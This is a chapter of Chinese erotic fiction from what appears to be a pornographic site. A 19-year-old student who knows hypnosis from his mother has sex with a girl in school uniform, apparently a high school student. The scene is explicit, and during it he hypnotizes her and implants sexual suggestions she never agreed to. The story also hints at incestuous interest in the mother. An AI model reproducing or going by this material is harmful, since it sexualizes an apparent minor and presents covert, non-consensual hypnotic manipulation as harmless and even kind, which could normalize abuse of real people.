自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐

  第一

  「餵?妈妈……嗯我知道的啦……很快就回家,不好意思啊因为兄弟们喝多
了我要一个个送他们回家呢……咦?你说那样的话就在朋友家留宿?也不是不可
以啦……」

  房间里只留着一盏昏暗的小灯,我侧躺在床上捧着手机接了来自妈妈的电话。

  在心不在焉地敷衍着她的同时,我偷偷朝后看去。

  床的另一边,坐着一名少女,她是赤裸着的,不过正慵懒地给自己扣上内衣
并穿上内裤。

  从我的角度,这其实是一幅相当美艳的画面,她白皙的美背和没有一丝赘肉
的纤腰无时无刻不在展现着女孩子最宝贵的财富。

  「你这幺快就穿衣服了吗?」

  我翻了个身,转而向她搭话。

  此刻,少女已经套上了学校的衬衫制服,将裙子提到腰间收束。

  把短发拨到了耳朵后面,她微微侧头,黑白分明的美眸散发出魔性的魅力,
同时光泽耀眼的嫩唇轻轻打开。

  「是的,我要走了。」

  她以相当有辨识度的清脆嗓音回答了我,然后屈起膝盖让紧致的小腿套上中
筒袜,再传进学生皮鞋里。

  虽然有一种就这样走掉也太可惜了的感觉,我却也没有立场去阻止她,所以
只能轻声说了句「哦,那我继续在这里睡一觉了。」

  少女则是整齐地穿回了衣服,走到了宾馆房间的门口。

  微微翘起了精致的小鼻子,她在踏出门的时候,深吸一口气,轻声对我说:
「那幺,今天的事情就当没发生过吧。」

  「嗯。」

  我搔了搔头,目送她离开后,又猛地扎回到枕头里面开始呼呼大睡。

  下半身的官能刺激正在缓缓减退……今天发生的事情,到底是做梦还是现实
呢?我都要分不清了。

  ……

  我叫曹光明,是个普通的高中生,如果要说我和别的高中生有什幺区别的话,
可能在于我比一般人还要独立一些吧。因为我的父母很小就离婚了,所以我从小
学开始就要学会独立,习惯了家里没什幺人的日子。

  尽管如此,我还是神奇地以平然的心情面对家庭的变故,当然也可能是因为
那时候的自己太小了,对命运、现实什幺的都没有太多的了解吧。

  我不恨离开了我们的父亲,当然也会更加珍惜拉扯着继续把我带大的母亲。

  当爸爸妈妈离婚后的没多久,那时候刚刚博士毕业留校任教的妈妈会因为大
学繁忙的研究而很晚归家,我偶尔会因为家里无人而感到寂寞,随即不知不觉就
哇哇大哭,直到妈妈叶怡韵回家的时候,她才吃惊地看着坐在沙发上哭泣的我。

  「小光你怎幺了?」

  「妈妈……我好怕……」

  我眼泪汪汪地对她伸出手,而妈妈脚步匆匆地来到我的旁边,细心地擦去我
的眼泪,然后她美丽的脸上露出了令人安心的笑容。

  「小光不哭,妈妈来了哦。」

  「嗯……嗯……」她黑白分明的美眸相当漂亮,如同一望无垠的星空,清秀
的五官也让我紧绷的神经随之缓和。

  我终于不哭鼻子了,不过脸上还带着泪痕,然后呜呜咽咽地说着:

  「妈妈……我好怕,天天放学回家都没有人……」

  「我知道啦,小光也很辛苦呢。」

  她怜爱地摸了摸我的头,若有所思地抿起红艳的嘴唇,然后对我说道。

  「妈妈是心理学教授呢,所以就给乖儿子进行心理疏导吧。」

  「嗯……妈妈……」

  我其实不知道她说的是什幺,只是本能地沈溺于母亲带给我的安全感,所以
拼命点头。

  「那幺,先冷静下来哦。」

  「好……」

  气氛变得缓和起来,我也安心地看向妈妈深邃的眼眸。

  「看着我的眼睛,你会觉得自己变得很轻松。然后……就像是身体躺到了棉
花上,从后背开始,整个身体都被柔和覆盖了,你没有力气了……越来越放松…
…仔细感受我的声音……越来越放松。」

  妈妈的声音非常温柔,就和幼儿园的时候哄我入睡一样。因为我迫不及待地
想要多听听妈妈那令人安心的声音,所以我仔细地顺着她的引导,只觉得自己都
要被妈妈的眼神吸进去了,身体也越来越疲惫……

  「妈妈,我好累……」

  不知不觉脖子以下都没有了知觉一般,麻木感扩散到全身,如果不是妈妈抱
着我,我甚至都要躺倒了,所以我用力挤出声音呢喃着。

  「没关系的,你会在妈妈的怀里沈沈睡去……」

  「妈妈……」

  我的眼神开始涣散,看见的场景也逐渐模糊了起来。

  妈妈天使般的微笑变成了我在昏睡过去前最后看见的场景。

  那之后的话,我大概过上了神清气爽、勇气十足的生活了吧,那是非常神奇
的体验,我的确没有再因为一个人在家里而害怕了。

  学校到初中的几年,我与心理学教授的母亲过着平淡而又温馨的日常。

  偶尔看见妈妈很晚才下班、疲惫的样子,我都会有些心疼,从房间走出来后
我直接扶着她,对妈妈笑着说:「妈妈,要不要我给你按摩啊。」

  「好啊,谢谢乖儿子。」

  在我把手放到她毫无防备的窄窄的肩膀上按动的时候,我也会偶尔和她聊聊
天。

  「妈妈,你光是上课会有这幺忙吗?」

  「傻儿子,妈妈还有市医院心理科的挂职哦,每天都要去 1-2个小时给病人
看病啦。」

  随着我手头力道变得坚实,妈妈也舒服地放松了身体,画着淡妆的脸庞侧了
过来,轻笑着回答我。

  「咦?心理医生能够看什幺病啊。」

  高中生的我对世界的了解太少了,所以问出了想当然的问题。妈妈则以慵懒
的声线回答我:

  「社会上的人压力都很大啦,很多人脾气暴躁、抑郁、失眠,都是要用催眠
疗法纠正的哦。」

  「催眠疗法?」

  「嗯,是很複杂的一种方式呢,小光你可能还不能接触到,可是你应该记得
小时候你很怕黑、很怕一个人在家吧?那时候就是妈妈用催眠疗法治疗你的哦。」

  「哦哦,我记得……」

  轻声嘀咕着,我回忆起小时候自己老是哭着扑进妈妈怀里的各种记忆。关于
妈妈那次对我的治疗的话,我还以为是自己哭过发泄过了就习惯呢,原来我之后
不再怕黑是因为她对我使用了催眠疗法啊。

  一想到这样的方式原来帮我克服了一个缺点,我就忍不住情绪雀跃了起来。

  「妈妈,原来催眠疗法这幺厉害啊?能不能教我催眠?」

  「傻儿子,催眠很难的啦。」

  她似笑非笑地回头看了我一眼,用纤细的指尖轻轻点了一下我的额头。

  我先是一楞,然后不依不饶地纠缠着妈妈,虽然男孩子撒娇不太好是基本常
识,但是毫不羞耻地说,我真的挺喜欢从小到大拉扯我的妈妈,也不觉得母子之
间要多幺生分。

  「儿子你还真是好奇宝宝,也不知道是不是我没把你带大啊。」

  妈妈假装生气地叉起腰,但是果然她也很喜欢我对她的亲密,所以笑吟吟地
点头。

  「反正就是一些皮毛,教一下你也可以哦。」

  「妈妈太好了!」

  「不过你是高中生,教你这个其实也是让你能够自我调整,可不能滥用,学
习第一哦!」

  「嗯嗯我知道的!」

  之后,妈妈就会在有空的时候传授我一些关于催眠的知识,我的确收益良多,
因为在深入的学习后才发现催眠是一种相当神奇的、能够对人心产生巨大影响的
东西。因为人的心灵就是一个宝库,平时都被紧锁着的大门保护心灵的同时,就
让里面可能滋生问题,可悲的是一般人、甚至身体的主人自己都无法改变,所以
这时候就需要专业人士用催眠的手法打开心门,对心灵进行改造。

  当然了,催眠对人心神奇的改造就注定了它是一把双刃剑,可能会让人变得
积极开朗,也可能让人阴沈、堕落,妈妈一边教导着我催眠术,一边也在时时刻
刻地提醒着我一定要把催眠术用在正确的地方。

  牢牢地把妈妈的话记在了心里,我同时也被神奇的催眠术吸引了,因此随着
高考临近,我也下了决心,要考本市的 K大心理系,更多更深入地了解心灵的世
界。

  时间一晃而过,到了高三,距离高考还有3个月的时候──

  「阿光,放学了去玩玩呗?都星期5了,反正明天也没课。」

  临近放学的时候,当我还在奋笔疾书,兄弟华哥靠了过来,大大咧咧地拍打
着我的肩膀。他叫做李火华,人如其名是个风风火火而且脾气暴躁的男生,初中
高中都有过和人打架、争强斗狠的经历,不过人品还是一等一的好,对兄弟也非
常讲义气,因此我和他也有着不错的关系。

  被邀请的我无奈地耸耸肩。

  「华哥,你在开玩笑吗?都要高考啦,寒假还没玩的愉快哦?」

  「妈的寒假太短了,都不够玩。而且高考的压力的确很大,所以才要放松嘛。」

  「不过你知道的吧,K大的分数线很高……」

  「嘿,但是你之前的模考都考了好几次全校前10了吧?」

  他扣扣扣地翘着我的桌子,然后嬉笑起来。

  「阿光,老子现在也有考个三本的能力,也算是OK了。所以你就别再自己想
学习还硬要拉我下水咯,今天必须一起去玩。」

  「你就饶了我吧,我还下载了高考沖刺班的网课哎……」

  「有美女,去不去?」

  「啥……」

  被他突然的发言搞得不知所措,我茫然地皱起眉。

  而华哥狡猾地笑了起来。

  「哼,你小子果然也就是个闷骚男呢,听到有女人就说不出话了?」

  「也不算啦,不过我觉得谈恋爱什幺的会影响学习……」

  「他妈的老子就说有女人你小子就说到恋爱上了,果然是闷骚男呢,哈哈哈!
那就决定了一起去吧,我找的可是又漂亮又骚的。」

  「我只是给兄弟面子,不是色鬼。」

  虽然脸有点烫,我还是一本正经地绷紧了脸,当然华哥也笑而不语地忽略了。

  这也很正常吧。我如此自我安慰着自己。

  作为正常的高中生,我的确是对于女孩子有着憧憬的,特别是那种穿着轻飘
飘的连衣裙、肌肤素白、留着长发的清纯类型,简直就是我的梦中情人,而这应
该也是青春期男生普遍都喜欢的类型吧。

  不过特殊的家庭环境让我有一种自卑,所以我几乎没有和女孩子有接触,因
为和妈妈的接触太过日常,我甚至不知道怎幺和女孩子接触。平日的娱乐也就是
和华哥出去打打篮球什幺的,如果他要玩过火的就不会带我,也不知道他是从哪
里勾搭的女生,这次也就是普通的一起玩、之后与对方滚床单吧。

  略微出神地看了一眼教室,我托起了下巴,脑子乱糟糟地瞎想起了华哥偶尔
给我叙述的场景──昏暗的小宾馆,两句白花花的肉体,还有女孩子那可爱的娇
喘……

  真好啊,能够肆意地放纵自己的人生。

  之后,我和华哥以及其他几个兄弟一起,到了市中心的一家自助餐式 KTV,
在狭窄安静的隔音间,长桌子的两侧分别坐着 4男4女,颇有联谊会的气氛。

  在火热的说唱音乐背景音下,华哥举起了酒杯,情绪高亢地主持起了这次的
聚会。

  「那幺,感谢各位美女帅哥的赏光哦,今天我们要玩个开心!」

  「好!」

  对面的女孩穿着的是本市另一所学校的校服,比起我们花里胡哨的制服的确
要漂亮一点,白底衬衫绣着青蓝色的边,轻薄舒适的质料贴合着身体的曲线,纯
色的百褶裙下是女性紧致美艳的大白腿。

  对方那个小团体的头目是个染着金发的辣妹,以浓妆打扮着自己的脸,看起
来的确青春靓丽而且相当外向,估计这次的聚会就是由她和华哥一起牵线的吧。

  「现在是自我介绍时间咯,既然大家都不认识的话,就由男生先来吧~鄙人
李火华……」

  之后是我觉得有些新鲜的环节,虽然一般都是不认识的人而且都是女孩子让
我有些拘谨,不过等到轮到我自我介绍的时候,我还是游刃有余地摆出冷静姿态。

  「我叫曹光明,也是华哥的兄弟……和他一个班的,兴趣爱好是学习、读书。」

  「帅哥看起来很深藏不露哦,就没什幺特长吗?」

  而那个金发辣妹颇为好奇地打量着我,被女性以这样熟稔的眼神盯住,我稍
微觉得有些不自在,然后摇了摇头。

  「没有啦……」

  「呵呵,才不是呢。说出来别不信,小光是催眠师哦!」

  「餵……」我有些无语地盯着从旁边勾住我肩膀的华哥,想着这种无证的技
能才不能被认可吧,可是华哥已经迫不及待地炫耀了起来。

  「总之啊我之前被人打伤痛的不得了,被阿光稍微疏导治愈了一下,也觉得
不太痛了呢。」

  「哎呀还真神奇呢,催眠什幺的。」

  对面座位的女孩们笑的花枝乱颤,基本就和看马戏团表演一样觉得新鲜。

  哈,反正在她们看来也只是天方夜谭吧。

  我这幺想着,然后偷偷瞥向对面桌。

  有一件事比较在意呢。

  虽然对面的女孩大部分都是扮靓的装扮,可是有一个人却显得气质格外不同
──

  坐在我的正对面,留着给人乖乖女形象的及耳短发,戴着一副红色的框架眼
镜,炯炯有神的眼睛旁边有一颗漂亮的泪痣,叶子一般的嘴唇自然地闭合着,有
一种安静的气质。

  是一个素面朝天却底子很不错的人呢。

  我一时间有些看入神了,还感慨着这年头有这样的天然美女可真不容易。

  不过她似乎和我一样,都不太习惯这样的场面,因为她正略微低着头,出神
地看着桌面,两手平放在大腿上,一幅魂不守舍的样子。

  「那幺,接下来是女生自我介绍时间啦,人家叫做宋丽丽……」

  虽然那个金发辣妹还在骄傲地做着自我介绍,不过估计也就只有和她打得火
热的华哥有在一个劲儿地应和吧,我的注意力早就被对面的短发女孩吸引了。

  她叫什幺名字呢?为什幺会来这里呢?看起来她的形象更适合坐在教室里奋
笔疾书呢……嘿我还真是书呆子,居然想着这种事情。

  在我端详着她的时候,少女黑玉般的眼眸微微闪动,在某个瞬间与我对上了
视线,注意到她毫无感情波动地把漂亮的脸蛋对準我,我立刻感觉到了尴尬,然
后移开。

  「佳儿,该你咯。」

  「好的。」

  在我有些恍惚的时候,宋丽丽提醒了那个女孩,于是她用很好听的清脆声音
开了口。

  「我叫方伊佳,是X高的女生……」

  我认真地听着她自我介绍,不过看得出来这个女孩的确有着内敛的性格,说
话声音虽然好听却很轻,慢条斯理地介绍完后,也只能让人记住她的名字,还有
带着魔性的美妙嗓音。

  而在全体人员的自我介绍结束后,华哥拍了拍手,笑瞇瞇地声明道:「那幺,
大家开始纵情欢唱吧,高考加油!所以我先来一首青春纪念册。」

  「好耶!」

  宋丽丽看着华哥的眼神有些崇拜和欢喜,似乎就喜欢这样酷酷的男生吧,真
好。

  我心不在焉地偷窥对面的女孩子,打从心底觉得她真好看,只是因为没有浓
妆艳抹,所以只有我在注意她,风头当然还是被她的朋友们夺走了,但是方伊佳
估计也不会在意吧,因为她看起来就是那种低调内向的人呢。

  之后,我们吃了一点菜,然后叫了许多酒,明明是未成年人却还是喝了个热
火朝天。

  「会不会,有一天,时间真的能倒退──」「不懂爱恨情仇煎熬的我们──」
「我们一起学猫叫,一起──」

  不知不觉,几个小时飞快地过去。

  我因为唱的歌并不多,也不算特别融入到气氛里,所以并没有喝得和华哥一
样醉醺醺的。

  「华哥,华哥,你还行吗?」

  此刻,另一个兄弟王宇正在给喝得上头了的华哥拍背,不过他好像真的意识
不清了,用含糊的声音回答说:「阿光你别管我,我还能喝……再来一首!」

  哇,会不会出事情啊。

  再看女生那边,也不知道是幸运还是不幸,她们酒量弱的可以,喝了几杯就
倒在一起只能背靠背了。当然那只是 3个辣妹系的而已,方伊佳好像每次在我们
干杯的时候小小抿一口,到现在都没有脸红。

  然后她也拍着自己朋友的后背,悄悄地说了什幺,就先走出包厢。

  什幺情况?是厕所吗?

  没过多久,我也觉得膀胱出现了鼓胀。

  「我去一下厕所。」

  所以我丢下一句话,急匆匆地走去厕所。走出包厢,我也觉得有些摇摇晃晃,
好不容易才找到厕所,舒舒服服地拉了一泡尿。

  上完了厕所,我在洗手台,却意外地发现方伊佳有些发楞地背靠在走廊的墻
壁,看起来就像在等人。

  被她留着短发的侧脸吸引,我一时间走不动路,本该因为不熟而无视走开的
脚却鬼使神差地停在她的旁边了。

  「……」

  而少女的眼神也刺到了我的身上。

  糟糕了!意识到的时候,我们已经在走廊面对面了。而且因为不熟悉,我甚
至不知道她有没有记住我的名字,气氛一时间变得有些尴尬,可是我都停在这里
了,也不能不打招呼啊。

  所以我试探地对她挤出笑容。

  「你好啊。」

  「嗯。」

  她冷淡地回答了我。

  「你在等人吗?」

  「没有。」

  「哈哈,只是想出来透气咯?」

  「嗯。」

  随即,我们又陷入了尴尬。

  我先是觉得有点烦躁,但是又迅速开始逼迫自己组织语言,因为我发觉自己
还是有点被她可爱的外表吸引的,而且内敛文静的气质我也不讨厌。

  「方伊佳同学……你也是被朋友拉过来的?」

  「嗯,里面有点吵。」

  「还有人这幺说玩的火热的朋友啊。」

  我苦笑了一下,然后眼神飘到了旁边免得太尴尬。

  「不过宋丽丽似乎和华哥有点情投意合呢,果然今天就是他们的鹊桥呢。」

  「可能吧……」

  在我暗自痛骂自己贫乏的语言能力的时候,方伊佳突然凑近了我,晶亮的黑
瞳对我投来深邃的光芒。

  「话说,曹光明同学。」

  「啊,有什幺事?」

  她好香,而且,在极近距离下被她仰望,能够清楚地看见她精美的五官,让
我不由心旷神怡。

  「之前你朋友说,你会催眠术,还能治疗他?」

  「额,是的,会一点皮毛。」

  「那你能催眠治疗我吗?」

  「哦……可以。」

  「好的,散会后,到东南路口等我吧。」

  她意味深长地轻喃着,然后收回身体,慢悠悠地离开了。

  站在原地的我,久久不能回神。

  刚刚……那是对我的约会请求吗?不不不,我在瞎想什幺啊,明明只是她拜
托我给她催眠治疗吧。

  之后我也回到了包厢,不过里面的人都已经喝嗨唱嗨了,也没对我们有多上
心。

  散会之后,我们男生肩负起了把女孩子带回去的重任,大致来说就是我们叫
车先把她们送回家,再自己回家。

  「丽丽……我……我送你……」

  「华哥你还行吗?自己都要喝倒了。」

  「呕……」

  「华哥!」

  在我们给喝醉的华哥催吐之后,大家总算是安排好了分组:2男2女一组叫一
辆出租车。

  而这时候,方伊佳举起了手:

  「我家比较近,我自己可以走回去。」

  「让我送吧。」

  想起了她要求我散场后帮助她治疗,所以我立刻响应了她,只见她面无表情
地点点头,显然是同意了。

  而其他人都喝的醉醺醺,也没多想,大家互相道别后就离开了。

  「走吧。」等到其他人上了出租车,方伊佳对我轻声说道。

  「哦……」我走到了她的旁边,偷偷看着少女带有清灵气质的侧脸,有些拘
谨地说道:「方伊佳同学,你要我怎幺样帮你?」

  「你有身份证吗?」

  「啊?有啊,我19岁了,所以华哥经常拿我身份证去网吧呢。」

  「那幺,就在这里开一间房吧。」

  她停在了一家宾馆门口,伸手指向了里面。

  我先是楞神了一会儿,然后惊愕地大叫。

  「什幺???」

  ……

  结果最后我还是开房了。

  孤男寡女地进入了宾馆,方伊佳走到床边,若有所思地坐到了床边。

  她的气质非常冷,却也因此有一种相当吸引人的、宛如毒之花的气场,所以
我紧张地吞着唾沫站到了她的旁边。

  「方伊佳同学,你要我开房,是为了让我帮你用催眠治疗吧?你有什幺不舒
服吗?应该是学业压力吧?」

  「……」

  可是,她却没有接话,让我稍微有些不知所措起来。

  如果用我有限的知识评判的话,我觉得她这样过度内向的性格的确是需要治
疗的,不过我也不知道自己三脚猫的催眠水平能不能治好,不过如果是我妈妈的
话应该是可以的吧。

  在死寂一般的沈默了几秒后,方伊佳开口了。

  「你想做吧?」

  「啊──???」

  我楞住了。

  可是少女的动作却告诉了我她的意思,她把手伸到了自己的胸前,动作缓慢
地解开了自己的纽扣,把衬衫外衣脱了下来。

  毫无预兆地,她把自己仅以内衣包裹的姣好的上半身展示给了我。

  因为太过突入,我甚至嘴巴都开成了O字形。

  到底是为什幺?她看起来应该是性格保守的女性啊,突然脱了衣服也太奇怪
了吧?我整个人都懵逼了!

  而她的脸颊也在这时候变红了起来,她摘下眼镜,用複杂的眼神看着我,似
乎自己也觉得万分害羞一般地把白皙的手臂挡在了身前。

  然后她低声重複着:

  「你想要做……爱吧?」

  「方伊佳同学,可是……」

  「如果你说不要的话,我可以现在就走哦。」

  「我……我做。」

  我真的是个废物。

  而且,当我对上了她明明很冰冷的视线的时候,身体却不由自主地炽热了起
来。虽然惊慌失措,也觉得这太过玄幻了,可是当她把手赤裸裸地伸向我的时候,
身体却很老实地接了过去。

  因为我是个不懂女人的自卑男啊……居然被她用一记直拳打破了心灵的浓雾。

  真是,真是差劲啊。

  无论内心怎幺想,我都已经把她压到了身下。

  「嗯……」她的肩膀被我抓住,发出了一声叮咛。

  「方伊佳……」

  我喘息着看向她,注意到少女的脸颊染上了绯红,她水灵灵的大眼睛比起之
前更加湿润有神了,而她真的就不抵抗地对我献上了身体。

  「只有今天……之后我们都要忘记这件事。」

  她低喘着气,眼神认真地看着我,不过那虚浮的瞳孔好像随时都要涣散了,
大概是她也有些难挨吧。

  我的手在她平坦的小腹游走着,然后战战兢兢地隔着裙子抚摸她的臀部,明
明不知道理由,无师自通地扯下了裙子的拉链。

  「我是处男……」

  我对她喘息着。

  「我……也是处女。」

  她的回答令我惊讶。

  「怎幺可能?如果是处女,不应该……」

  「不重要,别问。」

  她不由分说地用手掌堵住了我的嘴,让我只能顺着气氛继续下去。

  在迷乱的气氛中,我脱下了她的内衣、内裤,在床上和她抱成了一团。

  「不用戴套了,反正我是安全期……」

  她的手无力地搭在我的胸口,语气有些忸怩地说道。

  而少女发育姣好的女体早已完全映入我的眼帘,我激动地低吼了起来,也不
管这个女人为什幺会找上我,为什幺她会做出和外形相差如此大的事情,但是处
男的我根本没有抵抗力。

  「我,我知道了……」

  凭借着AV里面学来的女人知识,我轻轻抚摸着方伊佳的幽谷,看着她时不时
发出低吟,然后我终于控制着巨龙,慢慢地抵到了紧闭着只有一点小缝的阴道口。

  「是这里哦。」

  「我,我不知道,反正你来就行了。」

  她咬牙说道,表情意外地倔强。

  这样的女孩,太可爱了吧,文文静静地,却正以不堪的裸体对着我。

  被错乱迷离的气氛带着跑,我伏下身体,贪婪地咻吸少女的体香,然后对着
神秘的花园入口奋力地突进──

  「啊啊啊──」

  方伊佳的身体猛然绷紧,她发出了娇滴滴的呻吟,手脚开始用力地抱紧我,
仿佛只有这样才能够忍耐疼痛。而我也是,我要疯了,感觉到她那甜美的小穴被
我逐渐迫入,四面八方的肉壁也死命地挤压我,就像是进入了温暖湿润的世外桃
源,我完全不能控制自己的理性了。

  粗暴地抓住她形状美好的胸部,我缓缓挺动着腰。

  「嗯……」她咬住银牙,发出不知道是痛苦还是欢愉的声音。

  「轻一点……」

  然后她大口大口地喘着气,哀求我。

  我被她的性格与可爱完全折服,所以从暴力地突破变成了缓慢地在浅处抽插,
再循序渐进。她的下体真的舒服到无以複加,鸡巴被紧而热的美肉包围,而且每
当我进入一分,方伊佳就会无法控制地浑身颤抖喊疼,更加让我对她有种怜爱之
情。

  看着她认真地苦恼着的表情,我知道她也不想一直发出声音刺激我的,可是
这就是女人的柔弱之处了吧?更糟糕的是,我发觉自己心里某处居然被激发起了
施虐感。

  「为什幺……这幺疼还要挨草呢?」

  在她如同仙乐的低声呻吟中,我坏心地问着她。

  「嗯……你别管……嗯……」

  方伊佳光是抵抗痛苦就需要很多力气了,所以她一幅失魂落魄的样子,几乎
没有力气回答我。

  噗的一下,我们的胯部贴到了一起,阴毛也性感地摩擦着,此刻,我们最私
密的部位完全紧贴。

  「嗯……」她喘着气,几乎要累晕过去了。

  下面是不是要流处女血呢?

  我想着这个,然后想起自己的能力。

  如果能够用催眠术舒缓她的痛苦的话,也算是做好事了吧?

  所以,我盯着她的眼睛,低声说道:「方伊佳,看着我的眼睛……」

  「嗯……」她龇牙咧嘴地抽着气,好不容易才点着头看向我,而此时她的手
指甲几乎要划破我的肌肤了。

  「随着我一起呼吸。」

  「……」

  她虽然有些困惑,却还是老实地跟上了我的呼吸节奏。

  我就这样维持着鸡巴插进阴道最深处的状态,继续说道:「你会觉得很累,
这样就不会觉得痛苦了……」

  「我……很累……很累了。」

  她低喘着回答我,眼神开始恍惚。

  「你会累的想要睡着。」

  「嗯……」她缓慢地呼吸着,眼帘微微垂下,看起来就像是要睡着了一般,
而她美丽的胸部也随着呼吸起伏着,让我忍不住想要继续尽情玩耍,不过要等到
催眠过去。

  「就这样一直有节奏地呼吸,让自己睡过去……」

  「深深地睡去。」

  「更深,更深的睡去。」

  用极低的音调对她这幺说,几分钟后,方伊佳已经半瞇着眼,几乎完全要睡
着了。

  然后我顺势轻压到她的身上,凑近了她的耳朵。

  「现在的你很舒服,就像在云端。」

  「我……很舒服……」

  她的眉头彻底舒展开来,喃喃重複着。

  「你已经睡着过了,所以你精神会很好……但是直到我叫你【醒来】,你才
会变得清醒。现在感受着被我插入的下体。」

  「嗯……」她的脸又红了起来,应该是觉得害羞了。

  「你会记住和我做爱的画面,做爱是舒服的,让你浑身麻痹的,一丝痛苦都
没有,是世界上最美妙的事情,你会越来越感到兴奋、感到刺激、感到舒服、感
到欲火焚身,只要做爱,你就会想到性感的画面,你无法抵抗这样的快感,你想
要变得性感,就要从做爱中汲取快乐。」

  「嗯……」她的身体又开始颤抖,眉毛抖动着,这次是在努力地消化我对她
的催眠。

  「现在,醒来。」

  「--!」

  她就像是从梦中惊醒,突然睁开了眼睛。

  黑白分明的眼珠子转啊转的,她弱气地对我开了口。

  「你对我做了什幺?」

  「缓解一下你的痛苦而已,我是催眠师呢。」

  「多余。」

  她轻声嘀咕,然后惊愕地把视线往下移。

  「怎幺了?不痛了吗?」

  我微笑着看她,方伊佳的脸一如既往地红,与人前清冷的模样判若两人。

  她摇了摇头。

  「不痛了。」

  「那幺……」

  「嗯!?」

  随着我继续抽插,她发出了春情满溢的呻吟,这次其中不含痛感,只有纯粹
的欢愉。我能够感觉到,被我进进出出的淫穴分泌了大量爱液,褶皱紧紧地包裹
着鸡巴,让我微小的动作也能有巨大的舒适,甚至连她的腰臀都开始摆动了起来。

  「呼……啊……好舒服……」

  我不知不觉已经干的大汗淋漓,骑在她身上驰骋的时候,用力地抓起她的奶
子感慨,而秘密花园完全被我贡献的方伊佳也抛下了美少女的面具,逐渐淫糜地
浪叫起来。

  「哦……为什幺……嗯……嗯……哦……」

  那是我从未听过的、如同仙乐一般的浪叫,让我无比深刻地体会到了女人的
美好。

  「你真的好棒,方伊佳……」

  我越来越大声地呼喊着,然后像是对待充气娃娃一样奋力在她的下半身进进
出出地,少女似乎觉得不对劲了,她想要挣扎,却每每只能做出迎合我的扭腰动
作,她一边慌乱地扭屁股,一边断断续续地发出了可爱的声音。

  「啊……呜……好舒服……这什幺……哦哦……」

  「哎呀,催眠暗示很有用哦。」

  我野蛮地抽插,丝毫没有怜香惜玉,不过这样强奸一般的动作配合着催眠效
果是相当好,方伊佳的手胡乱摆动,最后为了忍住舒服失态而与我十指相扣,浓
纤合度的大腿更是死死地箍住了我,嘴里嗯嗯啊啊叫个不停,难以想象这个美人
真的是个高冷的处女。

  当我们在生命的大和谐中奏唱着歌谣时候,我突然好奇了起来,趁着她被我
攻占了身体,心灵也因为催眠毫无防备的时候,我询问了她:

  「话说,你为什幺要找我送上处女呢?」

  「嗯……因为,你看起来是个好说话的人……应该会同意……」

  她语不成句地回应我,几乎像是散架的木偶一样被我干的浑身颤抖个不停。

  「明明是处女,为什幺要送炮?」

  「爸爸妈妈离婚了……我很难过……」

  「……」

  当我看见她脸上一闪而过的悲伤时候,我惊讶地说不出一句话,然而,在我
最后一次用力一挺鸡巴之后,整只肉棒上所传来的快感直沖脑门,让我像是触电
了一样浑身颤抖。

  「哦,哦哦哦……」我摇着屁股,在如潮的快感中往她的子宫里喷射精液,
她的阴道深处很快就被白浆挤满了。

  「哦哦哦,这什幺──啊……」

  方伊佳虽然有些吃惊,可是很快就发出迷离的呻吟,整个人死死地抱住了我,
而她的花心也是一紧,泻出了淫水。

  在拥抱着温存了一会儿,她轻轻推着我。

  「拔出去。」好像是头脑恢複清醒了,她冷冷地对我说。

  我也照做了,可是她却马上对我继续说:「既然做完了,那我就走了。」

  「你,你不洗个澡?」

  「不了,这件事,只有你知我知。」

  虽然我想说什幺,可是妈妈却给我打了电话,而她在那之后毫不避讳地对我
展示着裸体,然后慢慢穿好了衣服,除了短发还有些淩乱,完全看不出这个气质
高冷的少女与我做了如此不堪入目的事情。

  当她走去门口的时候,明显腿间隐隐作痛,所以只能用手扶着墻。

  我複杂地看着她,想要说些什幺,却觉得完全没有立场。我和她的关系,只
是一个想要报複家庭的女孩子恰巧找到的报複工具吧。家里人离婚的痛苦,其实
我是知道的,只是我比她早习惯,已经走出阴影了。

  ……

  那天之后,我在也没见过她,而华哥则是和宋丽丽当了异地恋情侣,可惜他
虽然对兄弟两肋插刀,感情上却真的不咋地,高考前两个人就分手了。

  大概,我的日常会这样继续下去吧。

  高考前几天,妈妈也开始频繁请假,就为了给我送中午饭和晚饭。

  每天,她都会把车停在校门口,然后让我坐进去匆匆忙忙地吃个饭,然后再
回去教室里午睡。

  到了高考前一天,妈妈已经在学校附近的宾馆里开好了房,在校门口等到了
我之后,再带着我去宾馆的单间。

  「小光,今天是糖醋排骨和椒盐羊排、洋葱牛肉……」

  看着她打开了一个个餐盒,里面色香味俱全的美食也都飘出了香味,我有些
感动地擦了擦鼻子。

  「还真是丰盛呢。」

  「对了,高考的準考证呢?」

  「明天早上才发呢。」

  「哦,咱家乖儿子一定没问题的,今晚需要妈妈催眠你让你睡个好觉吗?」

  「没关系的,我心态已经调整的很好了。」

  「这样啊,真是个省心的乖宝宝呢。」

  妈妈轻掩着嘴,温柔地笑笑。

  这几天真是辛苦她了,不过再考试2天就结束了呢。

  我如此想着,却注意到了,妈妈最近的确因为照顾我很疲惫,可是气色却丝
毫没有受到影响,和平日一样是一幅优雅的女教授的模样,穿着灰色的得体的外
套,里面是白衬衫,盘起发髻,几率散下来的发丝倒有些淩乱美。

  而她裙子下灰色丝袜包裹的玉腿也相当漂亮,恰到好处地绷出了腿部细腻的
线条,与红色尖头高跟鞋相当搭配。

  「儿子,快吃吧。」

  「啊?哦哦哦好的。」

  直到被妈妈提醒了,我才想起来自己还在吃饭呢,连忙埋下了头。当然了,
趁着妈妈没注意到我的表情,我自顾自地开始脸红。

  (刚刚,我应该是用看着女人的目光打量了妈妈了吧……)

  深刻地认识到了这一点,我责备起了自己。

  到底是为什幺呢?

  方伊佳和我交换的场景逐渐浮现,美妙的女体、天籁的声音,还有那无助、
哀怜的眼神……

  呀!

  都要高考了,我想什幺呢!她都说了从此不会再见面,而且此时不得再提,
我还在回味什幺,也许从此忘却这份记忆,然后当做自己是处男才更好呢。只是
我不知道,这幺对自己洗脑,能不能洗去女人的身体为我心灵打开的门……

  而且这时候,我其实已经感觉到了。

  为了我而独身10年的妈妈,在这段时间气色越来越好,而且更加有女人味了,
这与她之前女强人的形象渐渐地有了差距……

  ·

  高考结束了。

  我与同学们朋友们开始了在暑假尽情地撒欢,在出成绩前,我们旅游、打游
戏、各种运动,每天过着无忧无虑的生活,可以说这简直是我们度过的最快乐的
时光了。

  高考出成绩那天,我与妈妈一起守候在电脑前,对着被人挤爆的网页一个劲
儿的刷新,当我看见 653的高分的时候,我们母子激动地抱在了一起。

  「太好了!」

